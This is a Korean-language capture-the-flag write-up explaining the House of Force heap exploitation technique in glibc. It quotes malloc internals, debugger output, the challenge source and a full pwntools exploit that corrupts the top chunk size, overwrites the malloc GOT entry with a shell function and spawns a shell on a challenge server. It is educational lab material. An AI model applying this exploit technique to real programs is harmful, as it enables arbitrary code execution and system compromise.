개념정리
House of Force 기법은 top chunk
의 size
를 조작하여, 임의 주소에 힙 청크를 할당할 수 있는 공격 기법이다.
top chunk
는 기본적으로 다음 할당을 위한 주소를 저장하는 역할을 한다고 이해하면 된다.
따라서 top chunk
의 size
를 조작한다면 다음에 할당할 주소를 조작하는 것과 같기 때문에 임의 주소에 쓰기가 가능한 것이다.
House of Force는 공격자가 top chunk
의 size
를 조작하고, 원하는 크기의 힙 청크를 할당할 수 있을 때 활용 할 수 있다.
○ _ini_malloc
static void *
_int_malloc (mstate av, size_t bytes)
{
INTERNAL_SIZE_T nb; /* normalized request size */
...
mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */
...
use_top:
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
top chunk
를 처리하는 _int_malloc
코드다.
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
...
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
top chunk
의 크기를 가져온다. 이후 가져온 top chunk
의 size
가 할당 요청 받은 크기인 nb
보다 크거나 같은지 검사한 후, top chunk
의 size
가 크다면 힙 영역에 할당한다. 그러나 할당 요청 받은 크기보다 작다면 sysmalloc
을 통해 추가적으로 영역을 매핑해서 할당한다.
House of Force가 발생하는 이유는 glibc에서 malloc 요청 시, 메모리 할당을 Top Chunk에서 처리해주기 때문이다. 만일, Top Chunk의 size를 악용하여 다른 값으로 덮을 수 있고(보통 -1) 원하는 크기의 malloc 요청을 할 수 있다면 공격자가 원하는 위치로 Top Chunk를 옮길 수 있다.
[ 할당 받기 원하는 주소 ] - [ Chunk Header size(0x10 or 0x8) ] - [ Top Chunk Address ] - [ Chunk Header size(0x10 or 0x8) ]
House of Force는 힙의 상위 청크(top chunk) 크기를 매우 큰 값으로 변경하는 기술이다. 64비트 시스템에서는 2^64-1
, 32비트 시스템에서는 2^32-1
로 설정한다. 상위 청크는 힙에서 마지막 청크이며, 이를 매우 큰 값으로 만들면 이후 메모리 할당을 정밀하게 제어할 수 있다.
다음은 top chunk 주소를 설정하는 과정이다.
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
...
chunk_at_offset
매크로를 이용해서 top chunk
의 주소가 ”top chunk 주소” + “할당 요청 크기”가 된다.
따라서 “top chunk 주소”, “할당 요청 크기”를 모두 제어할 수 있다면 ”top chunk 주소” + “할당 요청 크기” 에 임의 주소 쓰기를 수행할 수 있다.
직관적인 이해를 위해 House of Force 취약점이 트리거되는 과정을 살펴보자.
- heap 영역의 주소를 구하고 top chunk 주소를 획득한다.
- top chunk의 size를 조작한다.
- 64bit →
2^64-1
- 32bit →
2^32-1
- 64bit →
- ”top chunk 주소” + “할당 요청 크기” == 임의 주소가 되는 할당 요청 크기를 계산해서 할당한다.
- 64bit
(2^64-1) & ([임의의 주소] - [ Top Chunk Address ] - [ Chunk Header size(0x10) ])
- 32bit
[임의의 주소] - [ Top Chunk Address ] - [ Chunk Header size(0x8) ]
- 64bit
- 임의 주소에 데이터를 저장한다.
위 과정을 수행하면 임의 주소에 원하는 데이터를 쓸 수 있다.
문제풀이
[*] '/root/dream/house_of_force/house_of_force'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32비트 바이너리고 No PIE이므로 top chunk 주소를 쉽게 구할 수 있다.
void get_shell() {
system("/bin/sh");
}
house of force로 get_shell()
을 실행하는 것이 목표다.
int main() {
int idx;
int cnt = 0;
int w_cnt = 0;
initialize();
while(1) {
printf("1. Create\n");
printf("2. Write\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create(cnt++);
cnt++;
break;
case 2:
if(w_cnt) {
return -1;
}
write_ptr();
w_cnt++;
break;
case 3:
exit(0);
default:
break;
}
}
return 0;
}
main()
를 보면 create()
와 write_ptr()
를 실행할 수 있다.
2가지 기능을 적절히 이용해서 exit GOT를 get_shell() 주소로 덮고 exit()
를 호출하면 쉘을 획득할 수 있다.
int create(int cnt) {
int size;
if( cnt > 10 ) {
return 0;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if(!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
printf("%p: %s\n", ptr[cnt], ptr[cnt]);
return 0;
}
먼저, create() 함수를 보자.
create() 함수는 원하는 size만큼 힙 영역을 할당하고 data를 입력할 수 있는 기능을 제공한다. 여기서 할당한 힙 영역의 주소를 마지막에 출력하는 것을 알 수 있다. 따라서 출력된 힙 주소를 기반으로 top chunk 주소를 구할 수 있다.
1. Create
2. Write
3. Exit
> 1
Size: 8
Data: aaaaaaaa
0x804b1a0: aaaaaaaa
출력된 힙 주소와 top chunk 사이의 offset을 구하기 위해 gdb로 디버깅했다.
위와 같이 8바이트 크기를 할당하고 0x804b1a0를 확인했다.
pwndbg> x/16x 0x804b1a0
0x804b1a0: 0x61616161 0x61616161 0x00000000 0x00021e59
pwndbg> p main_arena.top
$1 = (mchunkptr) 0x804b1a8
pwndbg> x/16x 0x804b1a8
0x804b1a8: 0x00000000 0x00021e59 0x00000000 0x00000000
0x804b1a0에는 입력한 0x61 데이터들이 저장됐다.
0x804b1a0 + 0x4*3
위치에는 0x00021e59가 저장됐는데, 이 영역이 top chunk다.
> 2
ptr idx: 0
write idx: 3
value: 4294967295
...
pwndbg> x/16x 0x804b1a8
0x804b1a8: 0x00000000 0xffffffff 0x00000000 0x00000000
write_ptr()
을 통해 top chunk를 조작한 결과다.
위와 같이 0xffffffff로 조작할 수 있다.
다음으로 target_size를 계산해보자.
target_size = malloc_got - top_chunk_addr - 0x8
target은 malloc GOT고 “top chunk 주소” + “할당 요청 크기” == “malloc GOT”를 만족하기 위해서 작성했다.
참고로 32비트 체제에서는 메타데이터 크기인 0x8을 뺀다.
- 64비트는 0x10을 뺀다.
exit GOT를 덮어쓰는 경우에 에러가 발생하는 이유는 32bit에서 heap은 0x00부터 시작해서 0x8의 배수로 할당하므로 exit@got
는 이용할 수 없다.
- 위와 같은 이유로 exit 대신에 malloc을 target으로 사용했다.
# alloc target size
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(target_size))
p.sendlineafter(": ", "a" * target_size)
# overwrite target -> get_shell
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(4))
p.sendlineafter(": ", p32(get_shell))
위와 같이 target size를 할당하여 “top chunk 주소” + “할당 요청 크기” == malloc_get
주소를 힙 청크로 할당한다. 다음으로 get_shell()를 target에 덮도록 추가 할당하여 “malloc GOT”을 get_shell()로 덮는다.
마지막으로 덮은 fake malloc
을 호출하기 위해 create()를 실행하면 쉘을 획득할 수 있다.
- fake malloc == get_shell
from pwn import *
import warnings
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 12471)
#p = process('./house_of_force')
e = ELF('./house_of_force')
get_shell = 0x804887e
malloc_got = e.got['malloc']
# Leak topchunck_addr
p.sendlineafter("> ", "1")
p.sendlineafter(": ", "8")
p.sendlineafter(": ", "a"*8)
heap_addr = p.recvuntil(b":").replace(b":",b"").decode()
topchunk_addr = int(heap_addr, 16) + 4*3
print(hex(topchunk_addr))
# overwrite touchunck size
p.sendlineafter("> ", "2")
p.sendlineafter(": ", "0")
p.sendlineafter(": ", "3")
p.sendlineafter(": ", str(0xffffffff))
# 32bit -> -0x8
# 64bit -> -0x10 and Calc (2^64-1) &
# This case target is malloc
target_size = malloc_got - topchunk_addr - 0x8
print(hex(target_size))
# alloc target addr size
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(target_size))
p.sendlineafter(": ", "a" * target_size)
# overwrite target -> get_shell
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(4))
p.sendlineafter(": ", p32(get_shell))
# call malloc
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(0x10))
p.interactive()
reference
[dreamhack] - Heap Allocator Exploit